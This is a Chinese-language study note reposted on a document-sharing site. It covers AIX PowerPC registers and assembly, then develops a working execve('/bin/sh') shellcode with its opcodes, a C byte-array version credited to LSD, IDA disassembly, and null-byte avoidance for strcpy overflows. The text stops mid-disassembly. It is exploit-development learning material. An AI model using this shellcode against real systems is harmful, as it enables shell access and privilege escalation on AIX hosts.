AIXPowerPC标准体系结构及其溢出关键技术学习重点笔记.doc
《AIXPowerPC标准体系结构及其溢出关键技术学习重点笔记.doc》由会员分享,可在线阅读,更多相关《AIXPowerPC标准体系结构及其溢出关键技术学习重点笔记.doc(27页珍藏版)》请在咨信网上搜索。
1、AIX PowerPC体系构造及其溢出技术学习笔记12月12日11:40一、熟悉PowerPC体系及其精简指令集计算PowerPC体系构造是RISC(精简指令集计算),定义了 200 多条指令。PowerPC 之因此是 RISC,因素在于大某些指令在一种单一周期内执行,并且是定长32位指令,普通只执行一种单一操作(例如将内存加载到寄存器,或者将寄存器数据存储到内存)。差不多有12种指令格式,体现为5类重要指令:1、分支(branch)指令2、定点(fixed-point)指令3、浮点(floating-point)指令4、装载和存储指令5、解决器控制指令PowerPC应用级寄存器分为三类:通用
2、寄存器(general-purpose register,GPR)、浮点寄存器(floating-point register FPR 和浮点状态与控制寄存器 Floating-Point Status and Control Register,FPSCR)和专用寄存器(special-purpose register,SPR)。gdb里info registers能看到38个寄存器,下面重要简介这几种惯用寄存器:通用寄存器用途:r0 在函数开始(function prologs)时使用。r1 堆栈指针,相称于ia32架构中esp寄存器,idapro把这个寄存器反汇编标记为sp。r2 内容表(
3、toc)指针,idapro把这个寄存器反汇编标记为rtoc。系统调用时,它包括系统调用号。r3 作为第一种参数和返回地址。r4-r10 函数或系统调用开始参数。r11 用在指针调用和当作某些语言环境指针。r12 它用在异常解决和glink(动态连接器)代码。r13 保存作为系统线程ID。r14-r31 作为本地变量,非易失性。专用寄存器用途:lr 链接寄存器,它用来存储函数调用结束处返回地址。ctr 计数寄存器,它用来当作循环计数器,会随特定转移操作而递减。xer 定点异常寄存器,存储整数运算操作进位以及溢出信息。msr 机器状态寄存器,用来配备微解决器设定。cr 条件寄存器,它提成8个4位字
4、段,cr0-cr7,它反映了某个算法操作成果并且提供条件分支机制。寄存器r1、r14-r31是非易失性,这意味着它们值在函数调用过程保持不变。寄存器r2也算非易失性,但是只有在调用函数在调用后必要恢复它值时才被解决。寄存器r0、r3-r12和特殊寄存器lr、ctr、xer、fpscr是易失性,它们值在函数调用过程中会发生变化。此外寄存器r0、r2、r11和r12也许会被交叉模块调用变化,因此函数在调用时候不能采用它们值。条件代码寄存器字段cr0、cr1、cr5、cr6和cr7是易失性。cr2、cr3和cr4是非易失性,函数如果要变化它们必要保存并恢复这些字段。在AIX上,svca指令(sc是P
5、owerPC助记符)用来表达系统调用,r2寄存器指定系统调用号,r3-r10寄存器是给该系统调用参数。在执行系统调用指令之前有两个额外先决条件:LR寄存器必要保存返回系统调用地址值并且在系统调用前执行crorc cr6,cr6,cr6指令。二、学习AIX PowerPC汇编由于对AIX PowerPC汇编很不熟,因此借助gcc-S来学习一下AIX汇编。二进制gcc可以从。先写一种最小C程序:/* setuid.c* Learn AIX PowerPC assemble*/#include ;int main() setuid(0);用gcc-S选项编译一下:bash-2.04$ gcc -S
6、setuid.c在当前目录得到setuid.s: .file setuid.c.toc.csect .textPRgcc2_compiled.:_gnu_compiled_c: .align 2 .globl main .globl .main.csect mainDSmain: .long .main,TOCtc0,0.csect .textPR.main: .extern _mulh .extern _mull .extern _divss .extern _divus .extern _quoss .extern _quous mflr 0 stw 31,-4(1) stw 0,8(1)
7、 stwu 1,-64(1) mr 31,1 bl ._main cror 31,31,31 li 3,0 bl .setuid cror 31,31,31L.2: lwz 1,0(1) lwz 0,8(1) mtlr 0 lwz 31,-4(1) blrLT.main: .long 0 .byte 0,0,32,97,128,1,0,1 .long LT.main-.main .short 4 .byte main .byte 31_section_.text:.csect .dataRW,3 .long _section_.text通过精简,发现如下这样格式就足够了:.globl .mai
8、n.csect .textPR.main: mflr 0 stw 31,-4(1) stw 0,8(1) stwu 1,-64(1) mr 31,1 bl ._main cror 31,31,31 li 3,0 bl .setuid cror 31,31,31L.2: lwz 1,0(1) lwz 0,8(1) mtlr 0 lwz 31,-4(1) blr三、学习AIX PowerPCshellcodeB-r00tPowerPC/OS X (Darwin) Shellcode Assembly写非常通俗易懂,只可惜是OS X系统,但是当前咱们也可以依样画葫芦了:bash-2.04$ cat
9、simple_execve.s.globl .main.csect .textPR.main: xor. %r5,%r5,%r5 # 把r5寄存器清空,并且在cr寄存器设立相等标志 bnel .main # 如果没有相等标志就进入分支并且把返回地址保存到lr寄存器,这里不会陷入死循环 mflr %r3 # 等价于mfspr r3,8,把lr寄存器值拷贝到r3。这里r3寄存器值就是这条指令地址 addi %r3,%r3,32 # 上一条指令到/bin/sh字符串有8条指令,当前r3是/bin/sh字符串开始地址 stw %r3,-8(%r1) # argv0 = string 把r3写入堆栈 s
10、tw %r5,-4(%r1) # argv1 = NULL 把0写入堆栈 subi %r4,%r1,8 # r4指向argv li %r2,3 # AIX 4.3execve中断号是3 crorc %cr6,%cr6,%cr6 # 这个环境不加这条指令也能成功,lsd和IBM Aix PowerPC Assemblersvc指令简介都提到成功执行系统调用前提是一种无条件分支或CR指令。这条指令保证是CR指令。 svca 0 # execve(r3,r4,r5)string: # execve(path,argv,NULL) .asciz /bin/shbash-2.04$ gcc -o sim
11、ple_execve simple_execve.sbash-2.04$ ./simple_execve$对的执行了execve,用objdump查看一下它opcode:bash-2.04$ objdump -d simple_execve|more0308 ;: 10000308: 7c a5 2a 79 xor. r5,r5,r5 1000030c: 40 82 ff fd bnel 10000308 ; 10000310: 7c 68 02 a6 mflr r3 10000314: 38 63 00 20 cal r3,32(r3) 10000318: 90 61 ff f8 st r3
12、,-8(r1) 1000031c: 90 a1 ff fc st r5,-4(r1) 10000320: 38 81 ff f8 cal r4,-8(r1) 10000324: 38 40 00 03 lil r2,3 10000328: 4c c6 33 42 crorc 6,6,6 1000032c: 44 00 00 02 svca 0 10000330: 2f 62 69 6e cmpi 6,r2,26990 10000334: 2f 73 68 00 cmpi 6,r19,26624可以看到有好几条指令opcode包括了0,这对于strcpy等字符串操作函数导致溢出会被截断,因此需要
13、编码或者相应指令替代。但是咱们注意到svca指令中间两个字节包括了0,幸好这两个字节是保存字段,并没有被使用,可以用非0字节代替。PowerPC空指令nopopcode是0x60000000,背面三个字节0也是保存项,也可以用0x60606060来代替。lsd提供了一种可用shellcode:/* shellcode.c* ripped from lsd*/char shellcode = /* 12*4+8 bytes */ x7cxa5x2ax79 /* xor. r5,r5,r5 */ x40x82xffxfd /* bnel ; */ x7fxe8x02xa6 /* mflr r31
14、*/ x3bxffx01x20 /* cal r31,0x120(r31) */ x38x7fxffx08 /* cal r3,-248(r31) */ x38x9fxffx10 /* cal r4,-240(r31) */ x90x7fxffx10 /* st r3,-240(r31) */ x90xbfxffx14 /* st r5,-236(r31) */ x88x5fxffx0f /* lbz r2,-241(r31) */ x98xbfxffx0f /* stb r5,-241(r31) */ x4cxc6x33x42 /* crorc cr6,cr6,cr6 */ x44xffxf
15、fx02 /* svca */ /bin/sh x03 ;int main(void) int jump2=(int)shellcode,0; (*(void (*)()jump)();编译后,用IDAPro反汇编,在Names window点击shellcode,并且按c强制反汇编:.data:06D8 shellcode: # CODE XREF:.data:06DCp.data:06D8 # DATA XREF:.data:shellcode_TCo.data:06D8 7C A5 2A 79 xor. r5,r5,r5 # 把r5寄存器清空,并且在cr寄存器设立相等标志.data:06
16、DC 40 82 FF FD bnel shellcode # 如果没有相等标志就进入分支并且把返回地址保存到lr寄存器,这里不会陷入死循环.data:06E0 7F E8 02 A6 mflr r31 # 等价于mfspr r31,8,这里把lr寄存器值拷贝到r31.data:06E4 3B FF 01 20 addi r31,r31,0x120 # r31等于.data:0800.data:06E8 38 7F FF 08 subi r3,r31,0xF8 # r3等于.data:0708.data:06EC 38 9F FF 10 subi r4,r31,0xF0 # r4等于.data
17、:0710.data:06F0 90 7F FF 10 stw r3,-0xF0(r31) # 把地址.data:0708放到.data:0710.data:06F4 90 BF FF 14 stw r5,-0xEC(r31) # 把0放到.data:0714.data:06F8 88 5F FF 0F lbz rtoc,-0xF1(r31) # 读入execve中断号到r2寄存器.data:06FC 98 BF FF 0F stb r5,-0xF1(r31) # .data:070F写入一种字节0.data:0700 4C C6 33 42 crorc 4*cr1+eq,4*cr1+eq,4
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- AIXPowerPC 标准 体系结构 及其 溢出 关键技术 学习 重点 笔记
1、咨信平台为文档C2C交易模式,即用户上传的文档直接被用户下载,收益归上传人(含作者)所有;本站仅是提供信息存储空间和展示预览,仅对用户上传内容的表现方式做保护处理,对上载内容不做任何修改或编辑。所展示的作品文档包括内容和图片全部来源于网络用户和作者上传投稿,我们不确定上传用户享有完全著作权,根据《信息网络传播权保护条例》,如果侵犯了您的版权、权益或隐私,请联系我们,核实后会尽快下架及时删除,并可随时和客服了解处理情况,尊重保护知识产权我们共同努力。
2、文档的总页数、文档格式和文档大小以系统显示为准(内容中显示的页数不一定正确),网站客服只以系统显示的页数、文件格式、文档大小作为仲裁依据,平台无法对文档的真实性、完整性、权威性、准确性、专业性及其观点立场做任何保证或承诺,下载前须认真查看,确认无误后再购买,务必慎重购买;若有违法违纪将进行移交司法处理,若涉侵权平台将进行基本处罚并下架。
3、本站所有内容均由用户上传,付费前请自行鉴别,如您付费,意味着您已接受本站规则且自行承担风险,本站不进行额外附加服务,虚拟产品一经售出概不退款(未进行购买下载可退充值款),文档一经付费(服务费)、不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。
4、如你看到网页展示的文档有www.zixin.com.cn水印,是因预览和防盗链等技术需要对页面进行转换压缩成图而已,我们并不对上传的文档进行任何编辑或修改,文档下载后都不会有水印标识(原文档上传前个别存留的除外),下载后原文更清晰;试题试卷类文档,如果标题没有明确说明有答案则都视为没有答案,请知晓;PPT和DOC文档可被视为“模板”,允许上传人保留章节、目录结构的情况下删减部份的内容;PDF文档不管是原文档转换或图片扫描而得,本站不作要求视为允许,下载前自行私信或留言给上传者【a199****6536】。
5、本文档所展示的图片、画像、字体、音乐的版权可能需版权方额外授权,请谨慎使用;网站提供的党政主题相关内容(国旗、国徽、党徽--等)目的在于配合国家政策宣传,仅限个人学习分享使用,禁止用于任何广告和商用目的。
6、文档遇到问题,请及时私信或留言给本站上传会员【a199****6536】,需本站解决可联系【 微信客服】、【 QQ客服】,若有其他问题请点击或扫码反馈【 服务填表】;文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“【 版权申诉】”(推荐),意见反馈和侵权处理邮箱:1219186828@qq.com;也可以拔打客服电话:4008-655-100;投诉/维权电话:4009-655-100。